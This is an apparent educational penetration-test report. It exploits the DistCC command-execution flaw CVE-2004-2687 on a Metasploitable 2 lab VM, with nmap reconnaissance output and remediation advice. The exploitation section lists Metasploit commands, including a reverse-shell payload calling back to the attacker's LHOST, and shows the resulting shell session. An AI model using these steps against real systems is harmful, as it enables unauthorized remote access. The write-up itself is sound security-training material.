

Exploitation of DistCC Command Execution CVE-2004-2687 Using InfoGather and Metasploit

Author: Sudip Bastola

Target System: Metasploitable 2 Linux VM (192.168.83.131)

Attacker Platform: Kali Linux (192.168.83.129)

Used Automation Tool: [InfoGather v1.0](#)

Assessment Date: July 19, 2026

1.Executive Summary

The penetration testing was performed on the Metasploitable 2 virtual machine in the lab environment in order to reveal and validate the existing security vulnerabilities.

Reconnaissance phase was carried out with the use of automated scanning by means of InfoGather v1.0 – the custom Bash script for information gathering, created by the author of the report. The information was gathered through host discovery, TCP ports scanning and services enumeration using the Nmap tool.

As a result of the reconnaissance phase DistCC Distributed Compiler Daemon (distccd) service running on the port 3632/tcp was identified. Further analysis showed that the mentioned service has a vulnerability CVE-2004-2687, which represents critical flaw in the service leading to the ability to execute arbitrary commands due to incorrect input validation.

The mentioned vulnerability was successfully validated within the authorized lab environment using Metasploit Framework. The remote execution of arbitrary commands was performed using the vulnerable DistCC service, as a result, the attacker obtained an interactive shell with the privileges of the daemon service account.

Risk Summary Matrix

Metric	Details
Max Risk Rating	CRITICAL (10.0 / 10.0)
Primary Vulnerability	Unauthenticated Remote Code Execution (CVE-2004-2687)
Affected Service	DistCC Distributed Compiler Daemon (distccd)
Default Port	TCP 3632
Access Vector	Remote
Impact	Remote execution of arbitrary operating system commands

2.Scope and Methodology

2.1 Scope

Penetration testing is conducted in a controlled laboratory setting where the target system was Metasploitable 2 and the attacker's machine was Kali Linux. The purpose of the security test is to discover publicly disclosed vulnerabilities through the exploitation of network services and confirm them in a legitimate environment.

The main objective of the assessment was to assess the vulnerability of the DistCC Distributed Compiler Daemon (distccd) operating on TCP Port 3632 that is known to be prone to the vulnerability CVE-2004-2687.

2.2 Methodology

This assessment followed a standard penetration testing methodology consisting of the following phase:

- Reconnaissance
- Automated Information Gathering
- Vulnerability Assessment
- Exploitation
- Post-Exploitation Validation
- Impact Assessment
- Remediation Recommendations

3. Technical Finding and Exploitation Phase

Finding: DistCC Command Execution

Field	Details
Vulnerability type	Remote Code Execution
CVSS v3 Base Score	9.8 (Critical
CVE ID	CVE-2004-2687
Affected Service	DistCC Distributed Compiler Daemon (distccd)
Default Port	TCP 3632
Authentication Required	No
Access Vector	Remote
Impact	Unauthorized remote execution of arbitrary operating system commands

Step1. Automated Information Gathering

Objective: Identify active hosts, discover open TCP ports, and enumerate running services using an automated reconnaissance tool.

Tool used: [InfoGather v1.0 \(Custom Bash Automation Tool\)](#)

Description: The reconnaissance process was carried out using InfoGather v1.0, which is an open-source Bash script created to conduct automated information gathering. InfoGather conducts the host scanning, a full TCP scan, and service enumeration using the Nmap tool. The findings of the scans are saved in different files automatically.

Command used: `./InfoGather.sh <Victim ip>`

Internal Workflow: The tool automatically performs the following Nmap scans:

- Host Discovery
`nmap -sn <victim ip>`
- Open TCP Port Discovery
`nmap -T4 -p- <victim ip>`
- Service Enumeration
`Nmap -A -p <open_ports><victim ip>`

Result: The reconnaissance operation found several different network services being operated from the target host. While enumerating the services, the DistCC Distributed Compiler Daemon (distccd) service running on port 3632 was discovered. The version of this particular service had a vulnerability that allowed unauthenticated remote command execution.

```
(root@kali) ~ [~/home/sudip/PentestTools]
$ ./info_gather.sh 192.168.83.131

INFOGATHER v1.0

[1/3] Host Discovery ...
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-19 16:38 +0545
Nmap scan report for 192.168.83.131
Host is up (0.00071s latency).
MAC Address: 00:0C:29:79:6F:6F (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds

[2/3] Discovering Open TCP Ports ...
Open Ports:
21,22,23,25,53,80,111,139,445,512,513,514,1099,1524,2049,2121,3306,3632,5432,5900,6000,6667,6697,8009,8180,8787,37097,43926,49284,56462

[3/3] Service Enumeration ...
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-19 16:39 +0545
Stats: 0:01:39 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 96.67% done; ETC: 16:40 (0:00:03 remaining)
Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 96.67% done; ETC: 16:41 (0:00:04 remaining)
Nmap scan report for 192.168.83.131
Host is up (0.0019s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.83.129
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_sslv2:
|_SSLv2 supported
|_ciphers:
|_SSL2_RC4_128_EXPORT40_WITH_MD5
```

```

| ciphers:
|   SSL2_RC4_128_EXPORT40_WITH_MD5
|   SSL2_DES_64_CBC_WITH_MD5
|   SSL2_RC2_128_CBC_WITH_MD5
|   SSL2_DES_192_EDE3_CBC_WITH_MD5
|   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|   SSL2_RC4_128_WITH_MD5
|_smtp-command: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-07-19T10:56:26+00:00; 0s from scanner time.
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
|   program version port/proto service
|   100003 2,3,4 2049/tcp nfs
|   100003 2,3,4 2049/udp nfs
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rshcd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
|_Protocol: 10
|_Version: 5.0.51a-3ubuntu5
|_Thread ID: 20
|_Capabilities flags: 43564
|_Some Capabilities: ConnectWithDatabase, SupportsTransactions, Support41Auth, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, LongColumnFlag, SupportsCom
pression
|_Status: Autocommit
|_Salt: NMV,u,u,$000n[]@hlq
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2026-07-19T10:56:26+00:00; 0s from scanner time.
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
|_Protocol version: 3.3
|_Security types:
|_VNC Authentication (2)

```

```

|_Security types:
|_VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
| irc-info:
|_users: 1
|_servers: 1
|_lusers: 1
|_lservers: 0
|_server: irc.Metasploitable.LAN
|_version: Unreal3.2.8.1. irc.Metasploitable.LAN
|_uptime: 0 days, 0:14:39
|_source ident: nmap
|_source host: 89F8A301.93D13F46.FFFA6D49.IP
|_error: Closing Link: uqzytqxql[192.168.83.129] (Quit: uqzytqxql)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
37097/tcp open nlockmgr 1-4 (RPC #100021)
43926/tcp open java-rmi GNU Classpath grmiregistry
49284/tcp open status 1 (RPC #100024)
56462/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:79:6F:6F (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb-security-mode:
|_account_used: guest
|_authentication_level: user
|_challenge_response: supported
|_message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb-os-discovery:
|_OS: Unix (Samba 3.0.20-Debian)
|_Computer name: metasploitable
|_NetBIOS computer name:
|_Domain name: localdomain
|_FQDN: metasploitable.localdomain
|_System time: 2026-07-19T06:56:16-04:00
|_clock-skew: mean: 1h00m00s, deviation: 2h00m01s, median: 0s
|_smb2-time: Protocol negotiation failed (SMB2)

```

```

TRACEROUTE
HOP RTT ADDRESS
1 1.88 ms 192.168.83.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.02 seconds

=====
Scan Complete!
=====

Results saved in ./scans/

```

Step2. Vulnerability Assessment

Objective: List any public knowledge vulnerabilities that may exist on the services identified during reconnaissance.

Description: After service identification, the vulnerable DistCC service was analyzed using public vulnerability databases in order to identify the vulnerabilities. The version was found to be vulnerable to CVE-2004-2687, which is a Remote Command Execution vulnerability caused by lack of input validation for client compilation requests. Due to the fact that the service does not perform authentication for compiling, an attacker can run arbitrary OS command execution under the user of the DistCC service.

This module is chosen for testing the vulnerability in the lab:
exploit/unix/misc/distcc_exec.

Evidence: Service enumeration identified:

- Service: DistCC Distributed Compiler Daemon(distccd)
- Protocol: TCP
- Port: 3632
- Vulnerability: CVE-2004-2687

```
| Status: Autocommit  
| Salt: NMv,u,u.$d0@0n[]@hlg  
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))  
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7  
|_ssl-date: 2026-07-19T10:56:26+00:00; 0s from scanner time.
```

Step3. Exploitation Using Metasploit

Objective: Exploit the DistCC Remote Command Execution vulnerability and get remote command execution on the targeted system.

Description: Once we verified that there was indeed a vulnerable DistCC service running on TCP port 3632, the next step is to exploit the vulnerability using the Metasploit Framework in the controlled lab environment. The module exploit/unix/misc/distcc_exec was chosen for this purpose, where the target and attacker IP addresses (RHOSTS and LHOST, respectively) were defined.

Commands Used:

- msfconsole
- search distcc
- use exploit/unix/misc/distcc_exec
- set RHOSTS <Victim_IP> set LHOST <Attacker_IP>
- set payload cmd/unix/reverse
- Run

Result: Exploitation was successful, and an interactive command shell was obtained on the victim system. This proved that the exploitation of DistCC service was successful and that it was indeed vulnerable to the CVE-2004-2687.

```
(root@kali) ~/home/sudip
msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session

[+] msfconsole v6.4.135-dev
+ -- 2,654 exploits - 1,338 auxiliary - 2,141 payloads
+ -- 433 post - 49 encoders - 14 nops - 12 evasion
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search distcc

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/misc/distcc_exec            2002-02-01      excellent Yes     DistCC Daemon Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.83.131
RHOSTS => 192.168.83.131
msf exploit(unix/misc/distcc_exec) > set LHOST 192.168.83.129
LHOST => 192.168.83.129
msf exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP double handler on 192.168.83.129:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo P!GxFPoltgDrAhpw;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "P!GxFPoltgDrAhpw\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.83.129:4444 -> 192.168.83.131:41998) at 2026-07-19 16:43:15 +0545
```

Step4. Post-Exploitation Validation

Objective: Confirm exploit success through the verification of user permissions, filesystem access, and command execution abilities on the compromised system.

Description: Once the remote command shell was secured, some standard Linux commands were run to check the level of access achieved. It was confirmed that the shell had been created under the daemon service account, which is the user account for the DistCC daemon. Some other commands were used to confirm filesystem access and current directory details.

Commands Used:

- whoami
- id
- pwd
- ls
- ls -la
- cd ..

Result: Success in executing the commands showed that remote execution of arbitrary operating system commands was possible through the DistCC service which had vulnerabilities. The shell that was obtained had the rights of the service daemon, allowing access to the file system and manipulation of the operating system through the rights of the service account. Even though administrative rights were not gained, it is a very important vulnerability which could enable further attacks through privilege escalation.


```

whoami
daemon
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
pwd
/tmp
ls
5192.jsvc_up
ls -la /system
total 20
drwxrwxrwt  4 root    root    4096 Jul 19 06:58 .
drwxr-xr-x 21 root    root    4096 Jul 14 12:15 ..
drwxrwxrwt  2 root    root    4096 Jul 19 06:41 .ICE-unix
-r--r--r--  1 root    root      11 Jul 19 06:41 .X0-lock
drwxrwxrwt  2 root    root    4096 Jul 19 06:41 .X11-unix
-rw-rw-rw-  1 tomcat55 nogroup   0 Jul 19 06:41 5192.jsvc_up
cd ..
pwd
/
ls
FLTIoktayp
MjhlstTEn
MtkQrviNn
PHKRvLly
UoORYWYQS
bin
boot
cdrom
dev
etc
home
iHlahWUAvj
initrd
initrd.img
lib
lost+found
mRmNEIWnc
media
mnt
nohup.out
opt
prKRwgkKefCW
proc
rkWgAgIzKuN
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
daemon

```

4.Impact Analysis

Successful exploitation of CVE-2004-2687 shows that the vulnerable DistCC application is capable of unauthenticated remote execution of operating system commands. Though the shell was launched under the service account permissions, the vulnerability is classified as Critical and can allow attackers to steal information, run malicious commands, and launch other attacks against the infected system.

Possible Impacts:

- Unauthorized remote command execution
- Information leakage
- Malware installation
- Escalation of privileges through exploitation of other vulnerabilities

5. Remediation and Recommendations

Immediate Actions:

- Upgrade DistCC to its secure version.
- If unnecessary, disable the application.
- Limit access to TCP port 3632 via firewall settings.
- Monitor the application for suspicious activities.

Long-term Security Measures:

- Perform security updates regularly.
- Carry out vulnerability assessments on a regular basis.
- Implement IDS/IPS solution and centralize logging.
- Adhere to Principle of Least Privilege (PoLP).

6. Conclusion

This assessment has revealed and validated the DistCC Remote Command Execution vulnerability (CVE-2004-2687) on the Metasploitable 2 target system. Its exploitation by means of Metasploit Framework led to remote command shell launched with daemon privileges, which proves the presence of the vulnerability.

7. Disclaimer

The assessment was carried out in a controlled laboratory setting for educational purposes and legitimate security testing only. The assessment was carried out on those systems that had received prior permission. Any form of scanning or exploiting any system without prior permission is illegal.